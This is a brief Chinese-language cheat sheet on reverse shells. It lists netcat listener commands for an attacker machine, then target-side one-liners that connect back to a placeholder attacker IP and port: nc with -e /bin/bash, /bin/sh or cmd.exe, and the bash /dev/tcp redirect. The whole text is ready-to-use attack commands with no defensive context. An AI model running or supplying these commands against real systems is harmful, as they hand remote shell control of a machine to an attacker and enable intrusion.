# 反弹shell # 反弹shell ### 一、利用 netcat 反弹 shell 攻击机监听本地端口: ```bash nc -lvvp <端口号> ``` ``` .\nc64.exe - lvvp <端口号> ``` 目标机反弹 shell : ```bash nc <攻击机ip> <端口号> -e /bin/bash nc <攻击机ip> <端口号> -e /bin/sh ``` ``` .\nc64.exe -e cmd.exe <攻击机ip> <端口号> ``` ​ ## 二、利用Bash反弹shell 攻击机监听本地端口: ```bash nc -lvvp <端口号> ``` ``` .\nc64.exe - lvvp <端口号> ``` 目标机反弹 shell : ```bash /bin/bash -i >& /dev/tcp/<攻击机ip>/<端口号> 0>&1 ```